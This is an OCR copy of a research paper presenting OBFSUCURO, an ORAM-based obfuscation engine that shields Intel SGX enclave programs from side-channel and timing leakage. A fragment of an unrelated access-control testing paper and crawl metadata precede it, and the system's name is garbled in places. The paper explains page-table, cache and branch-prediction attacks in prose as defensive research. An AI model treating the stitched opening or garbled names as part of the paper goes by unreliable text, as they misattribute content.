In terms of the size of the test suite, the benefits of combinatorial testing become increasingly apparent if more than three parameters (roles, permissions, contexts) have to be taken into account. ORBAC [1], for instance, explicitly splits permissions into activities and resources, and adds the dimension of organizations, which gives a total of five parameters. We are currently conducting a respective study. The concretization of tests, however, is not entirely trivial because many activities are not defined for all resources. Finally, we will have to better understand the suitability of our mutation operators, and how they relate to actual faults in policies and the respective implementations. In other words, the respective fault model for policies needs to be investigated. In this vein, among other things, we will have to look into the difference between first-order and second-order mutants.
References
11. Martin E, Xie T: Automated test generation for access control policies via change-impact analysis. 3rd intl. workshop SW engineering for secure systems: 5-11, ’07
|
{"Source-Url": "https://www.mouelhi.com/uploads/1/8/2/6/1826097/icst08-pair-wise-testing.pdf", "len_cl100k_base": 9701, "olmocr-version": "0.1.53", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 33865, "total-output-tokens": 10847, "length": "2e13", "weborganizer": {"__label__adult": 0.0003502368927001953, "__label__art_design": 0.0004181861877441406, "__label__crime_law": 0.0005331039428710938, "__label__education_jobs": 0.0013027191162109375, "__label__entertainment": 6.920099258422852e-05, "__label__fashion_beauty": 0.0001876354217529297, "__label__finance_business": 0.00036072731018066406, "__label__food_dining": 0.0002899169921875, "__label__games": 0.0005588531494140625, "__label__hardware": 0.0011386871337890625, "__label__health": 0.0006890296936035156, "__label__history": 0.0002551078796386719, "__label__home_hobbies": 0.00011539459228515624, "__label__industrial": 0.00042724609375, "__label__literature": 0.00032830238342285156, "__label__politics": 0.000247955322265625, "__label__religion": 0.0003495216369628906, "__label__science_tech": 0.08282470703125, "__label__social_life": 0.00011754035949707033, "__label__software": 0.01812744140625, "__label__software_dev": 0.890625, "__label__sports_fitness": 0.0002319812774658203, "__label__transportation": 0.000392913818359375, "__label__travel": 0.00018405914306640625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 46477, 0.03952]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 46477, 0.43253]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 46477, 0.91236]], "google_gemma-3-12b-it_contains_pii": [[0, 4239, false], [4239, 9602, null], [9602, 14184, null], [14184, 18946, null], [18946, 23178, null], [23178, 28099, null], [28099, 30991, null], [30991, 35499, null], [35499, 40699, null], [40699, 46249, null], [46249, 46477, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4239, true], [4239, 9602, null], [9602, 14184, null], [14184, 18946, null], [18946, 23178, null], [23178, 28099, null], [28099, 30991, null], [30991, 35499, null], [35499, 40699, null], [40699, 46249, null], [46249, 46477, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 46477, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 46477, null]], "pdf_page_numbers": [[0, 4239, 1], [4239, 9602, 2], [9602, 14184, 3], [14184, 18946, 4], [18946, 23178, 5], [23178, 28099, 6], [28099, 30991, 7], [30991, 35499, 8], [35499, 40699, 9], [40699, 46249, 10], [46249, 46477, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 46477, 0.1092]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
40b252cca755def113f8cf63da166ae27ca9bed5
|
OBFSUCURO: A Commodity Obfuscation Engine on Intel SGX
Adil Ahmad†‡ Byunggill Joe†‡ Yuan Xiao§ Yinqian Zhang§ Insik Shin‡ Byoungyoung Lee‡¶
†Purdue University ‡KAIST §Ohio State University ¶Seoul National University
ahmad37@purdue.edu byunggill@cps.kaist.ac.kr {xiao.465, yinqian}@cse.ohio-state.edu
insik@cs.kaist.ac.kr byoungyoung@snu.ac.kr
Abstract—Program obfuscation is a popular cryptographic construct with a wide range of uses such as IP theft prevention. Although cryptographic solutions for program obfuscation impose impractically high overheads, a recent breakthrough leveraging trusted hardware has shown promise. However, the existing solution is based on special-purpose trusted hardware, restricting its use-cases to a limited few.
In this paper, we study if such obfuscation is feasible based on commodity trusted hardware, Intel SGX, and observe that certain important security considerations are not afforded by commodity hardware. In particular, we find that existing obfuscation/obliviousness schemes are insecure if directly applied to Intel SGX primarily due to side-channel limitations. To this end, we present OBFSUCURO, the first system providing program obfuscation using commodity trusted hardware, Intel SGX. The key idea is to leverage ORAM operations to perform secure code execution and data access. Initially, OBFSUCURO transforms the regular program layout into a side-channel-secure and ORAM-compatible layout. Then, OBFSUCURO ensures that its ORAM controller performs data oblivious accesses in order to protect itself from all memory-based side-channels. Furthermore, OBFSUCURO ensures that the program is secure from timing attacks by ensuring that the program always runs for a pre-configured time interval. Along the way, OBFSUCURO also introduces a systematic optimization such as register-based ORAM stash. We provide a thorough security analysis of OBFSUCURO along with empirical attack evaluations showing that OBFSUCURO can protect the SGX program execution from being leaked by access pattern-based and timing-based channels. We also provide a detailed performance benchmark results in order to show the practical aspects of OBFSUCURO.
I. INTRODUCTION
Program obfuscation [1, 2] is a popular cryptographic construct which has interesting and wide-ranging applications towards protecting the intellectual property of software owners. As computing trends are rapidly shifting towards cloud-based computing, there exists a strong need for systems supporting this notion of program obfuscation. One could envision various cases where the owner of a program would want to shield his/her proprietary algorithm from the cloud provider and/or other tenants. For example, consider a company like 23andMe [3], the frontrunner in DNA testing, which could prevent the theft of their algorithm from competitors despite it being hosted on cloud servers.
Under program obfuscation, a sender, who owns a program, transforms it to create an obfuscated version of the program which is: (a) functionally identical to the original version, and (b) runs for a fixed time before returning an output. The sender then sends this obfuscated program to a receiver. The receiver runs the obfuscated program within a black-box-like environment — the receiver cannot see (or infer) intermediate computational results and/or footprints from the obfuscated program. Consequently, even though the receiver can run the obfuscated program using any input of his/her choice, he/she will learn nothing about the original program. Therefore, as far as the attacker is concerned, he/she is interacting with a virtual black box, which takes an input and gives the intended output.
In the past, there has been significant (mostly cryptographic) research [4–7] in achieving program obfuscation, but with crippling performance overheads. Recently, there has been a systematic breakthrough, HOP [8], in achieving program obfuscation through relaxed assumptions of trust on the underlying hardware. However, HOP relies on special-purpose hardware, severely limiting its practicality. In particular, their system relies on custom RISC-V processors to conveniently transplant the root of trust to implement the core security logic and securely contain the program code. We believe such convenience is not free — it would be challenging and unrealistic to deploy such custom-built hardware to a majority of end-user machines or cloud-computing machines.
In this paper, we propose OBFSUCURO, the first system achieving program obfuscation on commodity hardware. Unlike existing work relying on special-purpose hardware, OBFSUCURO is specifically designed to run on Intel SGX, already shipped with millions of machines in the market. Since the trusted boundary of Intel SGX terminates at the CPU, OBFSUCURO enforces the security protocol of Oblivious RAM (ORAM) [9] to support secure code/data access between CPU and memory subsystems, similar to HOP. However, it is quite challenging to support program obfuscation on commodity hardware since commodity hardware comes pre-packaged with a plethora of features which can be abused to invalidate a key security assumption behind program obfuscation (i.e., the
obfuscated program should be running within a black box-like environment). Furthermore, the unprivileged execution of Intel SGX ensures that these features cannot be controlled (or disabled) by SGX programs.
More specifically, researchers have identified that Intel SGX has critical access pattern-based side-channel security flaws. These allow adversaries to infer computational semantics within SGX thereby breaking the black box execution environment. Memory-based side-channels, namely page fault [10, 11], cache [12–14], and branch-prediction [15] attacks, allow system components with high privileges, e.g., OS, to infer substantial information from the execution of an SGX enclave. For example, previous work [13] has shown how cache attacks can be abused to leak an RSA private key from an SGX enclave.
As far as access pattern-based side-channels are concerned, the root cause of the problem is that it is challenging to completely hide memory access patterns from privileged adversaries in the current Intel SGX architecture. The reason for this is that the CPU is designed to rely on other subsystems to perform computation. In particular, Intel SGX is not designed to secure communication patterns between the CPU and memory-management hardware units (e.g., the MMU/TLB, cache, DRAM, branch-predictors, etc.). For performance reasons, the communication channels and hardware units are designed to be partially shared between trusted and untrusted entities, allowing potentially adversarial entities to observe and collect memory traces exhibited by an SGX enclave.
To address these challenges, **OBFUSCUC** makes use of three main ideas. First, **OBFUSCUC** employs a data-oblivious ORAM implementation. Our work improves on the previously proposed secure ORAM implementations [16–18] by designing an efficient register-based stash. Second, **OBFUSCUC** designs side-channel resistant scratchpad-based code execution and data access models, in order to neutralize the memory access patterns observed by attackers as well as bridge the gap between traditional ORAM and native program execution. Lastly, **OBFUSCUC** ensures start-to-end obfuscation of the target programs by providing execution time normalization to all applications thereby protecting the programs against information leakage through timing-based channels.
Our implementation of **OBFUSCUC** is based on the LLVM compiler suite with an installed runtime library. Through compiler instrumentation, we transform a native SGX program’s code into cache-line granular (and ORAM-compatible) basic blocks. **OBFUSCUC** restricts each basic block to a single data and code access, at fixed offsets within the basic blocks thereby neutralizing branch targets. The code and data access instructions are translated into equivalent branch instructions targeting **OBFUSCUC**’s runtime library functions. The runtime library obliviously serves the program with code and data blocks extracted from the ORAM storage onto pre-allocated memory regions called C-Pad and D-Pad respectively. Code execution and data access (irrespective of the target program) is always performed at these locations, thereby neutralizing the program’s memory footprints. Lastly, the program is instrumented to keep executing till a user-configured time interval has elapsed to mitigate the threat of timing channels.
Furthermore, we highlight that although **OBFUSCUC**'s performance overhead is quite high, it is still much faster than the state-of-the-art cryptographic obfuscation schemes. In particular, cryptographic obfuscation techniques (which rely on homomorphic encryption and/or circuit construction as security primitives) are still far away from being adopted in practice largely due to severe performances overheads or limited generality to support generic programs (detailed discussion in §IX). However, leveraging the root of trust in the underlying commodity hardware, **OBFUSCUC** demonstrates comparatively moderate performance overheads on real-world programs.
In broad terms, the contributions made by this paper can be described as follows:
- We dissect commodity-off-the-shelf hardware to find out the key hardware features which hinder the adoption of program obfuscation in Intel SGX. We also provide a comparison with existing work illustrating how their approaches are insecure if directly applied to Intel SGX.
- We present **OBFUSCUC**, the first program obfuscation system built on top of commodity hardware. Motivated by the hardware limitations of Intel SGX, **OBFUSCUC** provides a complete start-to-end program obfuscation solution which can be readily-adopted without any modifications to legacy code written for Intel SGX.
- We provide a thorough security analysis of **OBFUSCUC** showing how it can prevent information leakage through both access pattern-based and timing-based side-channels.
- We provide a performance comparison of **OBFUSCUC** using a diverse set of benchmarking applications as well as a real-world application, OpenSSL. Our experiments indicate that **OBFUSCUC** incurs an average overhead of 51× over native SGX execution for our custom benchmarks and an overhead of 16 – 57× while executing OpenSSL [19].
II. BACKGROUND
A. Intel SGX
Intel SGX [20] is a new set of x86 instructions which were introduced with the Intel Skylake architecture. SGX allows user-level programs to create a protected memory region called an enclave which is inaccessible from other user-level programs as well as privileged components such as BIOS, OS, hypervisor, etc. At boot-time, the processor reserves contiguous physical memory pages, called the Enclave Page Cache (EPC). The CPU explicitly revokes access to EPC pages outside an enclave. Each enclave process is provided its own virtual address space which is divided into trusted and untrusted parts. The trusted part is allocated pages from the EPC to provide memory integrity and confidentiality. The page tables that deal with translation of virtual to physical address for EPC pages are maintained by untrusted system components.
B. SGX Side-Channel Attacks
The three most prominent categories of side-channel attacks against Intel SGX are summarized as follows.
Page Table Attacks. As with regular non-enclave processes, the untrusted OS handles page tables for the EPC pages to flexibly provision EPC resources. Previous works [10, 11] have
---
1 **OBFUSCUC** is a play on words combining Obscuro and Obfuscation. The former is a memory charm in the Harry Potter series.
shown that a privileged attacker can exploit page faults and page table walks in order to gain page-level granular insight into the execution of an enclave process. Since the OS handles the page tables, it can invalidate access onto all EPC pages which will result in page faults, thereby capturing trace of all page accesses performed by the enclave. Similarly, the attacker can monitor the access/dirty bit present within the page table to find out which page was last accessed without invoking a page fault.
**Cache Attacks.** Caches are designed to reduce the access latency of code and data by exploiting temporal and spatial locality of an application’s execution. The caches are divided into a number of cache-sets, which are further divided into fixed-size cache-lines (64 B). Recent reports [12–14] have shown that the SGX enclave is insecure against the Prime+Probe [21] attack. As part of this attack, the attacker runs an attack application which monitors the cache usage of a victim application, performing some security critical operations. During the Prime phase, the attacker fills one or more cache sets with his/her own data and during the Probe phase, he/she tries to access the data. If the victim has accessed any of these cache sets, it must have evicted some of the cache lines of the attacker, and subsequent access by the attacker will take longer time than if the lines had not been evicted. Therefore, an attacker, with prior knowledge of the victim application, can infer what operation took place (assuming different operations will access different cache sets).
**Branch Prediction Attacks.** Last Branch Record (LBR) saves the history of the recently taken branches which can be referenced by developers for further optimization. The LBR stores information including source/target address of a branch, and a flag whether the branch is taken or not, etc. SGX disables direct reporting of the LBR information outside the enclave. However, recent reports [15] have shown how it can be indirectly inferred from outside the enclave. To perform this attack, the attacker leverages prior information on the source and destinations of the branches in a target program. Next, the attacker writes a shadow code for a set of branches within the program. The attacker executes both victim and shadow code in parallel. Finally, the attacker monitors the shadow code for mis-predictions (penalized by extra CPU cycles), to figure out which branch was taken by the enclave.
**C. ORAM**
ORAM [9] is a well-known cryptographic technique which provides secure access to an encrypted memory region located in a remote and untrusted server. ORAM achieves secure memory access by (a) accessing multiple memory locations instead of a single memory location and (b) re-shuffling and re-encrypting the extracted memory regions with a random seed. Path ORAM [22] is an improved variant of ORAM which uses a binary tree-like format to store the encrypted memory on the server. Each node within the tree is divided into $K$ blocks, where $K$ is a constant defined during initialization. An ORAM tree contains both real blocks, i.e., with actual client data, and dummy blocks, i.e., with dummy data, meant to fool an attacker. The number of real blocks within a tree of $L$ leaves can be at most $L$ in order to provide the security guarantees of ORAM. The tree is stored within the untrusted storage in an encrypted format.
Using Path ORAM, the client runs an ORAM controller within a small, completely trusted memory region. There are two key data structures for Path ORAM, i.e., the Position map and the Stash. The position map can be a simple integer array, which links the real block to its corresponding leaf-index within the ORAM tree. Whenever the client needs to access a block from the ORAM tree, the ORAM controller finds the corresponding leaf from the position map and extracts the path from the root to the leaf. The extracted blocks are stored within the stash memory.
**Figure 1** illustrates the Path ORAM algorithm. In this figure, the client attempts to access the block $D$ from the untrusted storage containing the ORAM tree (1). First, the client looks-up the leaf index corresponding to block $D$, which is 11 in our example(2). Then, the client extracts the complete path from the root of the tree to the leaf (i.e., $d_1, d_3, D$) and saves it in the stash as shown. The dummy blocks (i.e., $d_1, d_3$) are discarded at this point to keep the stash size small. After accessing the block $D$, the client randomizes its position, i.e., initial leaf was 11 and final leaf is 10, and re-encrypts the block with a random seed (3). The client then tries to write-back to the tree from the old leaf (11) back to the root. To ensure consistency, the client only writes back a real block on a certain node, iff, that node is the new leaf, i.e., 10, or that node is in the path to the new leaf. If the client does not have a real block to put into the node, it generates dummy data, encrypts it (using random nonce) and writes it to that node. For example, in the figure, $(d_4, d_5)$ corresponds to the generated dummy data.
**III. THREAT MODEL**
We assume a scenario where a user runs an SGX enclave program with some security-sensitive program. The enclave program, OBFUSCRO’s runtime and compiler, and the CPU are the only trusted components, and all other software and hardware components (including operating systems, hypervisors, memory hardware units, etc.) are untrusted. The user’s goal is to ensure that the program’s logic is not leaked to any attacker observing the enclave’s execution. Therefore, the program executable is securely provided to the remote SGX enclave through an encrypted channel (e.g., Diffie-Hellman [23] between enclaves). We assume that the enclave is already provisioned with all prerequisite memory and/or files that it would require to correctly execute before it starts executing. Therefore, we can safely assume that the enclave does not perform a synchronous exit (e.g., for system call) after the start of its execution till termination. The attacker’s goal is to obtain the underlying algorithm or program logic. To achieve this, the attacker can probe the enclave using any input of his/her choice and get the correct output. Furthermore, the attacker can observe the program’s access patterns through a combination of
---
2This assumption can be easily relaxed to ensure input/output confidentiality as we describe in §IX.
bus snooping attacks and software side-channel attacks using page tables, caches, and branch prediction units. The attacker can also measure the program’s execution time and use that to leak some information.
As far as access patterns are concerned, we assume a worst-case attack scenario: a powerful attacker who learns perfect execution traces at their finest resolution (i.e., 64 B from a combination of page table, cache and bus-snooping, and exact branch targets from branch prediction attacks) of both physical and virtual memory addresses that an enclave program accesses. More formally, let $\Phi$ be an SGX enclave program, and its runtime memory access trace $\Phi_k(I) (0 \leq k \leq n)$ denotes a sequence of stripped code and/or data addresses (i.e., stripped addresses depending on the attacking method’s granularity) while running an input $I$. $\Phi_0(I)$ denotes the first address that the program accesses (i.e., an instruction at the program’s entry point) and $\Phi_n(I)$ denotes the last address that the program accesses (only if the program terminates on the input $I$). Furthermore, the attacker can learn some information about the program by monitoring timing channels. The attacker can infer the entire execution time $T$ of the program on his/her provided inputs to leak some information. Given these memory and timing traces, attacker tries to learn the security sensitive information (e.g., the algorithm or some part of it) of the program.
We do not consider software vulnerabilities in an enclave program (i.e., memory corruption vulnerabilities or semantic/logical vulnerabilities) or physical attacks (power-based, electromagnetic etc.) and security solutions [24, 25] to these issues are orthogonal to BFUSCURO. Furthermore, we consider Spectre [26] and Meltdown [27] attacks out of scope as well. Traditional program obfuscation assumes that the program cannot directly disclose the memory contents of the application which is what these attacks do. Also their patch [28] has already been provided by Intel and can be rigorously checked through the CPUSVN number provided during SGX remote attestation.
IV. CHALLENGES
As mentioned before, the goal of BFUSCURO is to achieve a strong notion of security — program obfuscation (also referred to as virtual black box (VBB) obfuscation) on market-available commodity trusted hardware, Intel SGX. Unlike supporting program obfuscation on special-purpose hardware, such as HOP [8], there are numerous challenges involved in supporting the same on Intel SGX. These challenges can be attributed to the unprivileged execution supported by SGX enclaves, which either creates new side-channels or amplifies existing side-channels. In particular, these challenges include — (a) how to enforce secure ORAM-based program execution in SGX? and (b) how to secure the ORAM controller in SGX? Unlike special-purpose hardware, SGX enclaves cannot control the page tables, caches and/or the branch-predictor, which can be abused by an attacker to infer significant information from naive ORAM-based execution. Also, while special-purpose hardware supports a large trusted on-chip memory which holds the ORAM controller as well as the target program’s code, SGX enclaves only provide a very small trusted memory region (i.e., CPU registers) due to side-channels.
A. Comparison with Existing Schemes
In this subsection, we provide a comparison of BFUSCURO with all existing schemes tailored to provide oblivious and/or obfuscated execution. For the ensuing discussion, it is imperative that we make a clear distinction between side-channel obliviousness (and its weaker version, memory trace obliviousness) and program obfuscation. In particular, side-channel obliviousness assumes that the program is known to the attacker but the input (securely provided to the program) is sensitive and therefore has to be protected. Program obfuscation assumes that the program is unknown and is itself sensitive whereas input and output pairs can be known to the attacker. It is also worth mentioning that program obfuscation can also be extended to protect the input and output pairs to the program (through employing encryption/decryption of input and output pairs) but it is not its primary goal. Figure 2 provides a comparison of all existing work with BFUSCURO.
First, we compare the existing side-channel oblivious systems with BFUSCURO. In general, these systems are based on custom hardware [29, 31], software-level [18, 32, 33] or hybrid [30] defenses. The most notable example of a side-channel oblivious system is Raccoon [18] which can protect the input to a known program against all access pattern leakage (page table, cache, bus-snooping and branch-prediction) on commodity hardware. However, all of these schemes do not fulfill the requirements of traditional program obfuscation and are only concerned with protecting the input provided to the program. On the other hand, program obfuscation protects the identity of the program itself, and can also be used to protect the input provided to the program.
The closest existing work is HOP [8], which is the only system apart from BFUSCURO, which guarantees virtual black box obfuscation to a program. However, HOP is based on special-purpose hardware and further utilizes an on-chip trusted storage for storing and executing the code segments of the program and the ORAM controller. Thanks to the special-purpose hardware, HOP remains unconcerned with protecting its ORAM controller and the program against sophisticated cache and branch-prediction attacks. Conversely, since BFUSCURO supports obfuscated execution on commodity hardware, its design revolves around the limitations of the hardware and therefore has to deal with the cache and the branch-predictor, to provide the same theoretical guarantees of program obfuscation.
B. Achieving Obfuscation on Commodity Hardware
In this subsection, we attempt to elaborate on the design choices taken by BFUSCURO in order to achieve the goals set out by program obfuscation. Just to reiterate, to support program obfuscation, BFUSCURO has to answer the following questions — (a) how to execute a target program’s code without leaking memory traces?; (b) how to provide secure access to its data regions (e.g., stack, heap etc.) without leaking memory traces?; and (c) how to ensure that the program leaks no timing information?
The answer to (a) and (b) lies in the design of fixed scratchpad regions for code execution and data access. In fact, simply doing so is enough for specialized hardware (such as the one used by HOP) but not for commodity hardware,
since OBFSUCRO risks leaking information within these regions through page table, cache and branch-prediction attacks. OBFSUCRO ensures that the scratchpad regions are a single cache-line (i.e., 64B) in size to prevent page table and cache attacks. To further secure the code scratchpad against branch-prediction, OBFSUCRO ensures that all branches to/from the scratchpad are at fixed locations. Although the above design nullifies memory-based side-channels, it raises two important questions — (i) how to support code execution and data access at the granularity of cache-line?; and (ii) how to securely fetch these blocks onto the scratchpads?
In order to support cache-line-granular code execution, OBFSUCRO breaks the target program’s code into 64B basic blocks, normalizes branch instructions within each block and instruments each code access instruction. Furthermore, OBFSUCRO also breaks the data region into blocks of 64B and instruments each data access to ensure correctness of program execution. Lastly, in order to securely fetch code and data blocks onto the scratchpad regions, OBFSUCRO utilizes ORAM to hide access patterns from a privileged attacker. As shown by previous work [16, 17], the ORAM controller has to be further provisioned to avoid leaking information in SGX enclaves. OBFSUCRO supports the code scratchpad for securing ORAM whilst also providing an alternative and efficient approach.
Finally, to counter the threat of timing channels and consequently answer (c), OBFSUCRO normalizes the execution time of the target programs by extending the program’s execution using dummy (but indistinguishable) code blocks. OBFSUCRO automatically provisions the program with these code blocks such that the program runs indefinitely. OBFSUCRO directs the enclave to stop executing after the execution of a fixed number N of code blocks. As we show in §VII-E, each code block execution takes similar time, resulting in execution-time-normalization for the program.
V. DESIGN
A. Overview
OBFSUCRO is a software framework enabling obfuscated execution for SGX enclave programs. The key idea behind OBFSUCRO is to enable cache-line-granular code execution and data access, secured through the use of ORAM operations, thereby exhibiting memory traces oblivious to program execution (illustrated in Figure 3). The core design features of OBFSUCRO can be summarized as follows.
- Secure ORAM Scheme. OBFSUCRO implements its ORAM controller using data oblivious algorithms, in order to protect it from side-channel attacks (§V-B). Also, OBFSUCRO implements a register-based stash which improves on the existing side-channel resilient ORAM implementations [16, 17].
- Repurposing Native Programs. OBFSUCRO transforms native programs (§V-C) through memory layout transformation and virtual address translation in order to bridge the semantic gap between native program execution and ORAM-based operations.
- Code Execution Model. OBFSUCRO ensures that the code execution (of a target program) is exclusively performed within a fixed location, C-Pad (§V-D). All instructions are loaded onto the scratchpad using ORAM operations and executed from the start to the end of the scratchpad (1→3). Furthermore, the C-Pad is designed with SGX-aware protections unlike previous work [8, 30].
- Data Access Model. OBFSUCRO ensures that all data access is performed at a data scratchpad, D-Pad, which is a fixed memory location updated using ORAM operations (§V-E). The target program’s read and write operations are performed at the same memory location regardless of execution context (1→5). OBFSUCRO also ensures that the data access is always performed once per C-Pad, normalizing the number of data accesses patterns.
- Start-to-End Obfuscation. OBFSUCRO ensures that the target program continues executing till a certain predefined time to mitigate timing-based channels, irrespective of the program logic (§V-F). OBFSUCRO achieves this by instrumenting the target application to introduce dummy memory blocks, after the termination of the intended logic.
Workflow. The input to OBFSUCRO is the source code of a target enclave application. Using the input, OBFSUCRO produces an instrumented executable, fully loaded with a runtime library (containing the ORAM controller). During
initialization, the runtime library populates the code and data blocks into different ORAM trees. Afterwards, the ORAM controller extracts the first code-block to be executed, loads it onto the code scratchpad, and ensures execution starts from the beginning of code scratchpad. When the code block performs a branch instruction, the branch instruction is replaced with new jump instruction to the ORAM controller for codes. Then, the ORAM controller loads the required code block onto the code scratchpad using ORAM operations, and jumps back to the beginning of the code scratchpad (§V-D). While accessing data (i.e., global/heap/stack objects), the access instruction is replaced with new jump to the ORAM controller for data. The ORAM controller for data always loads the corresponding data block onto the data scratchpad using ORAM operations, and returns the appropriate address (i.e., base address of data scratchpad + access offset) (§V-E). Finally, OBFSUCRUO ensures that the program keeps executing till a certain time period has elapsed before returning an output to the user thereby ensuring complete start-to-end obfuscation (§V-F).
B. Secure ORAM Scheme
In this subsection, we explain how OBFSUCRUO designs a secure ORAM scheme to ensure oblivious program execution. Firstly, OBFSUCRUO places both the ORAM controller and trees within an SGX enclave. Secondy, in response to side-channel threats against SGX enclaves, OBFSUCRUO secures working mechanisms of its ORAM controller, i.e., ensuring that each operation is branch-free (to mitigate the risk of branch-prediction) and data-independent (to mitigate the risk of page table and cache attacks). In this regard, OBFSUCRUO constructs two stash designs: cmov-based and register-based stash for the ORAM controller (§V-B1). Furthermore, OBFSUCRUO employs a data-oblivious population scheme to securely populate the ORAM trees (§V-B2).
1) ORAM Controller: In the following, we describe how OBFSUCRUO secures the two main data structures of the ORAM controller, i.e., position map and stash, against access-pattern leakage. By securing access onto these data structures, OBFSUCRUO also ensures that its code is devoid of conditional branches (i.e., secure against branch-prediction attacks).
Oblivious Position Map. The position map contains sensitive information regarding ORAM blocks, i.e., mapping from block-id to the leaf in ORAM tree. An attacker can leak sensitive information about program execution by observing the access patterns onto the position map. OBFSUCRUO employs data oblivious access mechanism to prevent information leakage from the position map. The key security primitive of this mechanism is in leveraging cmov instruction in x86 to stream through the entire data structures. Similar to Raccoon [18], we devise a wrapper function for the cmov instruction to add additional bogus memory access. Depending on the flag value provided to the wrapper function of the cmov instruction, the function performs either the actual memory write (if the flag is true) or a bogus memory access without writing (if the flag is false).
Next, we describe how OBFSUCRUO secures access onto the stash. Naively accessing the stash would leave memory traces that can be used to distinguish between real and dummy blocks in the extracted ORAM tree path. OBFSUCRUO can utilize two different stash designs, cmov-based stash and a novel register-based stash. While both completely secure stash accesses, it imposes different performance characteristics depending on the underlying hardware architecture.
CMOV-based Stash. OBFSUCRUO can use data-oblivious access (using cmov) to stream through the complete stash memory region (Figure 4-a), similar to previous schemes [16, 17]. As a result, the cmov-supported access guarantees that the attacker learns nothing from the leaked access patterns as the attacker observes accesses onto all stash indices. As can be observed, there are no conditional branches and/or data-dependent access in both cases.
Register-based Stash. OBFSUCRUO also designs a novel register-based stash, which leverages Advanced Vector Extensions (AVX) instruction set along with the XMM and YMM registers. We collectively refer to these registers as
\[
\begin{align*}
\text{movaps} & (\%rsi), \%xmm0
\end{align*}
\]
AVX registers. The key idea is to reserve these registers for ORAM stash only and restrict the program and associated libraries from using them. An operation performed on any CPU register does not imprint traces on memory-related units (cache, TLB/MMU, DRAM etc.) and is therefore oblivious to even privileged attackers such as the OS (Figure 4-b).
Therefore, OBFSUCURO copies each tree block onto a set of AVX registers and performs all required operations on these registers. This limits the involvement of CMOV and therefore provides a performance improvement of 30−40% as compared to the CMOV-based stash as shown in §VIII-1. Figure 5b shows an example of where the memory located at rsi is moved in chunks of 32-bytes into ymm5 and ymm6.
However, there are two things to consider while opting for the register-based stash over the CMOV-based stash. Firstly, the register-based stash limits the involvement of AVX registers for other important operations such as AES-NI instruction set and if the enclave program requires these operations, it would be better suited to use the CMOV-based stash. Secondly, current desktop hardware only supports AVX2 [34] which provides 16 YMM registers of 32 B each, totaling to 512 B of memory for the stash. This size is enough for small ORAM tree size (e.g., 4-8KB) but is insufficient for larger tree sizes. However, the AVX-512 [35] instruction set architecture introduces larger AVX registers (ZMM registers), currently present on high-end hardware [36, 37]. The ZMM registers are 32 registers in total, with each being 512-bit wide and can support a total stash size of 2-kilobytes which increases our tree size that can be supported from 8KB to 256MB.
**Workflow.** Based on the above building blocks, we now illustrate how OBFSUCURO performs a secure ORAM access. First, OBFSUCURO uses CMOV to scan through the whole position map to find the required ORAM block. Then, OBFSUCURO sequentially copies the tree blocks to either memory (if CMOV-based stash is used) or the registers (if the register-based stash is used). Afterwards, OBFSUCURO performs an oblivious retrieval of the required block from the stash. In the case of CMOV-based stash, it performs a sequential CMOV access on each individual stash index and in the case of register-based stash, it performs an inline assembly move operation to move it from the register to the memory. After performing the relevant tasks on the ORAM block, we rewrite the block back using similar approach as mentioned above.
2) **ORAM Bank:** OBFSUCURO places the ORAM bank, comprising of the ORAM trees, within the enclave memory. OBFSUCURO performs secure ORAM tree population to mitigate side-channel leakage.
**Allocation.** The ORAM trees are allocated as global arrays within the enclave program’s memory space (i.e., within the EPC). OBFSUCURO can avoid encrypting ORAM trees, which is an important step in the ORAM protocol, because the Memory Encryption Engine (MEE) in SGX [38] implicitly performs the encryption. There are two things to note here: (a) the allocation step does not leak any important information to the attacker apart from the location of the ORAM tree (which is public information in the ORAM attack model) and (b) the size of the code and data trees should be carefully considered prior to allocation since as per Path ORAM’s design, the size of the trees cannot be dynamically adjusted.
**Population.** As per Path ORAM’s requirement, the population of each block into the ORAM tree should be performed as a regular ORAM access. To further illustrate, the population of code and data blocks in C-Tree and D-Tree respectively, is carried out as follows: (a) OBFSUCURO picks a block which is to be added to the ORAM tree. (b) OBFSUCURO determines a random position to store the block within the ORAM tree. The random position is determined using the RDRAND hardware instruction, which only involves the trusted CPU. (c) OBFSUCURO performs an ORAM access onto the path that corresponds to the selected position. At first glance, this might leak some information to the attacker. However, since this is an ORAM access, the final destination of the block will be randomized within the path once more which ensures strong secrecy. (d) OBFSUCURO repeats the above steps until all real blocks are populated to the ORAM tree.
**C. Repurposing Native Programs**
In order to bridge the semantic gap between native and oblivious execution, OBFSUCURO transforms the target program’s memory layout into an ORAM-compatible memory layout, provides virtual address translation to support dynamic memory relocation, and introduces scratchpad regions for code execution and data access.
